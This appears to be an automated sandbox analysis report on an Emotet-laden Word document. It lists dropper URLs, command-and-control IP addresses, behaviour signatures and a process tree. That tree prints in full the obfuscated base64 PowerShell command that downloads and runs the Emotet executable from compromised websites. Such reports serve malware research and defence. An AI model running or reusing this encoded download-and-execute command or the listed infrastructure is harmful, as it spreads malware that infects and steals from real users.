Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    26/08/2020, 11:14

General

  • Target
    emotet_e3_56cd053d222934a2bbdb1eab5e5569773d827f68e41571d46e6edeeb7fc10058_2020-08-26__111253._doc.doc
  • Size 226KB
  • Sample200826-e8txed4nyx
  • SHA256 56cd053d222934a2bbdb1eab5e5569773d827f68e41571d46e6edeeb7fc10058
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://zakahlife.com/wp-includes/P2Anjqkwlc4858/

  • exe.dropper

    https://paws4walking.co.uk/wp-admin/HXd820ikj138/

  • exe.dropper

    https://dev.dosily.in/wp-content/gWPMl/

  • exe.dropper

    http://f1.dodve.com/wp-admin/THxee39064/

  • exe.dropper

    http://support.dogpack.media/tickets/qiDNPAj/

  • exe.dropper

    http://nortgal.es/blogs/udZj/

  • exe.dropper

    http://newsmarttailors.com.np/wp-content/Mjjwuwlof3910650/

Extracted

Family
  • emotet

C2
  • 88.249.181.198:443

  • 65.156.53.186:8080

  • 68.183.233.80:8080

  • 185.81.158.15:8080

  • 37.187.100.220:7080

  • 60.125.114.64:443

  • 201.235.10.215:80

  • 81.214.253.80:443

  • 118.101.24.148:80

  • 181.126.54.234:80

  • 197.232.36.108:80

  • 178.87.171.199:80

  • 139.99.157.213:8080

  • 115.79.195.246:80

  • 177.94.227.143:80

  • 113.161.148.81:80

  • 192.210.217.94:8080

  • 173.94.215.84:80

  • 112.78.142.170:80

  • 217.199.160.224:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_56cd053d222934a2bbdb1eab5e5569773d827f68e41571d46e6edeeb7fc10058_2020-08-26__111253._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:508
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABLADkANABwAGwAcgBqAD0AKAAnAEQAJwArACgAJwBtAG8AMAAnACsAJwBiAHIANAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVABlAG0AcABcAHcAbwBSAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAGUAYwBUAG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAGAAVQByAEkAVABZAGAAcAByAG8AVABvAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAJwApACsAJwB0ACcAKwAoACcAbABzADEAJwArACcAMQAnACkAKwAoACcALAAgAHQAbAAnACsAJwBzACcAKQApADsAJABHADUAdwBxAG0ANwB2ACAAPQAgACgAKAAnAEUAMABrAGIAJwArACcAMAAnACkAKwAnAGoAJwApADsAJABTADEAdgB4AGYAeABmAD0AKAAnAFMAJwArACgAJwA5AHcAMQAnACsAJwAwADAAeAAnACkAKQA7ACQAUgB2AGQAdwBlAGQAcwA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAZgBFACcAKwAnAGkAJwArACcAdwBvACcAKwAoACcAcgBkAGYARQAnACsAJwBpADIAMAAxADkAJwArACcAZgBFAGkAJwApACkAIAAgAC0AUgBFAHAAbABhAGMARQAoAFsAYwBoAEEAcgBdADEAMAAyACsAWwBjAGgAQQByAF0ANgA5ACsAWwBjAGgAQQByAF0AMQAwADUAKQAsAFsAYwBoAEEAcgBdADkAMgApACsAJABHADUAdwBxAG0ANwB2ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQARgBtADAAcgAzADEAdAA9ACgAJwBUAGEAJwArACcAdQBrACcAKwAoACcAbwAnACsAJwB2AHUAJwApACkAOwAkAFUAaAAzAF8AeABiADYAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AVwBlAGIAQwBsAEkAZQBOAHQAOwAkAFYAaABvADcAMABqAHcAPQAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8AJwArACgAJwAvACcAKwAnAHoAYQBrACcAKQArACcAYQAnACsAKAAnAGgAbAAnACsAJwBpAGYAJwApACsAJwBlACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAJwBtAC8AJwArACcAdwBwACcAKwAoACcALQBpAG4AJwArACcAYwAnACkAKwAnAGwAJwArACgAJwB1AGQAJwArACcAZQAnACkAKwAoACcAcwAvACcAKwAnAFAAMgAnACkAKwAoACcAQQAnACsAJwBuAGoAJwApACsAKAAnAHEAawB3ACcAKwAnAGwAJwApACsAKAAnAGMANAA4ACcAKwAnADUAOAAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwAnACkAKwAoACcAOgAvAC8AcABhAHcAJwArACcAcwAnACkAKwAoACcANAB3ACcAKwAnAGEAbABrACcAKQArACcAaQBuACcAKwAnAGcALgAnACsAKAAnAGMAbwAuACcAKwAnAHUAawAvAHcAJwArACcAcAAnACkAKwAnAC0AJwArACgAJwBhAGQAJwArACcAbQBpAG4AJwArACcALwBIAFgAJwApACsAKAAnAGQAJwArACcAOAAyACcAKQArACcAMABpACcAKwAoACcAawAnACsAJwBqADEAJwApACsAKAAnADMAOAAvACoAaAAnACsAJwB0AHQAcABzADoAJwArACcALwAvAGQAJwArACcAZQAnACkAKwAoACcAdgAnACsAJwAuAGQAJwApACsAJwBvACcAKwAnAHMAaQAnACsAKAAnAGwAeQAnACsAJwAuACcAKQArACcAaQAnACsAKAAnAG4AJwArACcALwB3AHAALQBjAG8AbgB0ACcAKwAnAGUAbgB0AC8AJwArACcAZwBXAFAATQBsACcAKQArACgAJwAvACoAJwArACcAaAAnACsAJwB0AHQAcAA6AC8AJwApACsAKAAnAC8AZgAxAC4AZAAnACsAJwBvAGQAdgBlAC4AYwAnACsAJwBvAG0AJwArACcALwB3ACcAKwAnAHAALQBhAGQAJwApACsAKAAnAG0AJwArACcAaQBuACcAKQArACcALwBUACcAKwAoACcASAB4AGUAZQAnACsAJwAzACcAKQArACgAJwA5ACcAKwAnADAAJwArACcANgA0AC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AcwAnACkAKwAoACcAdQBwACcAKwAnAHAAJwApACsAJwBvAHIAJwArACgAJwB0ACcAKwAnAC4AZABvAGcAcABhACcAKwAnAGMAawAuAG0AZQAnACkAKwAoACcAZAAnACsAJwBpAGEAJwApACsAKAAnAC8AdAAnACsAJwBpACcAKQArACgAJwBjAGsAJwArACcAZQAnACkAKwAnAHQAcwAnACsAKAAnAC8AcQBpACcAKwAnAEQATgAnACkAKwAoACcAUABBAGoALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAnAHQAJwArACcAcAAnACsAKAAnADoAJwArACcALwAvAG4AbwByACcAKQArACcAdAAnACsAKAAnAGcAJwArACcAYQBsACcAKQArACgAJwAuAGUAcwAvACcAKwAnAGIAbAAnACkAKwAoACcAbwBnAHMAJwArACcALwAnACkAKwAnAHUAJwArACgAJwBkACcAKwAnAFoAagAvACoAJwApACsAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwBuAGUAJwArACgAJwB3ACcAKwAnAHMAbQBhAHIAdAAnACsAJwB0AGEAJwApACsAJwBpAGwAJwArACcAbwAnACsAKAAnAHIAcwAnACsAJwAuAGMAbwBtACcAKQArACcALgBuACcAKwAnAHAALwAnACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYwAnACsAJwBvAG4AJwArACgAJwB0ACcAKwAnAGUAbgAnACkAKwAoACcAdAAvACcAKwAnAE0AJwApACsAKAAnAGoAagB3ACcAKwAnAHUAdwAnACkAKwAoACcAbABvAGYAJwArACcAMwA5ADEAMAAnACkAKwAoACcANgAnACsAJwA1ADAAJwApACsAJwAvACcAKQAuACIAUwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABEADMAYwB6ADEANQBlAD0AKAAoACcAWgBqAHkAJwArACcAYgAnACkAKwAoACcAcAAnACsAJwAyADYAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABQAHMAcgBlADcAMwBiACAAaQBuACAAJABWAGgAbwA3ADAAagB3ACkAewB0AHIAeQB7ACQAVQBoADMAXwB4AGIANgAuACIARABvAHcAbgBMAGAAbwBhAGQAZgBpAGAATABFACIAKAAkAFAAcwByAGUANwAzAGIALAAgACQAUgB2AGQAdwBlAGQAcwApADsAJABOAHAAZAAxAF8ANABvAD0AKAAoACcARQAzACcAKwAnADcAZQAnACkAKwAoACcAZAA2ACcAKwAnAHkAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUgB2AGQAdwBlAGQAcwApAC4AIgBsAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMgAyADcANgA0ACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2ACcAKwAnAG8AawBlAC0ASQB0AGUAbQAnACkAKAAkAFIAdgBkAHcAZQBkAHMAKQA7ACQAUwB2AGcANwA5ADQAbgA9ACgAJwBNACcAKwAoACcAcgBzACcAKwAnAGMAcwAnACkAKwAnAG4AYgAnACkAOwBiAHIAZQBhAGsAOwAkAE0AMwAwAHMANQA4AG0APQAoACgAJwBCAHQAJwArACcAOQAnACkAKwAoACcAMABhACcAKwAnAG8AZgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgB5AHoAZgB5AGgAdwA9ACgAKAAnAFMAcwAnACsAJwBzACcAKQArACgAJwBtACcAKwAnADcAMAB6ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Users\Admin\AppData\Local\Temp\word\2019\E0kb0j.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\E0kb0j.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3552
      • C:\Windows\SysWOW64\KBDVNTC\Windows.Media.Audio.exe
        "C:\Windows\SysWOW64\KBDVNTC\Windows.Media.Audio.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:668

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/508-0-0x00007FFE41510000-0x00007FFE41BD6000-memory.dmp

        memory/668-16-0x00000000020B0000-0x00000000020BC000-memory.dmp

        memory/2540-7-0x00007FFE34470000-0x00007FFE34E5C000-memory.dmp

        memory/2540-8-0x000001E6F6EB0000-0x000001E6F6EB1000-memory.dmp

        memory/2540-9-0x000001E6F71E0000-0x000001E6F71E1000-memory.dmp

        memory/3552-13-0x0000000000770000-0x000000000077C000-memory.dmp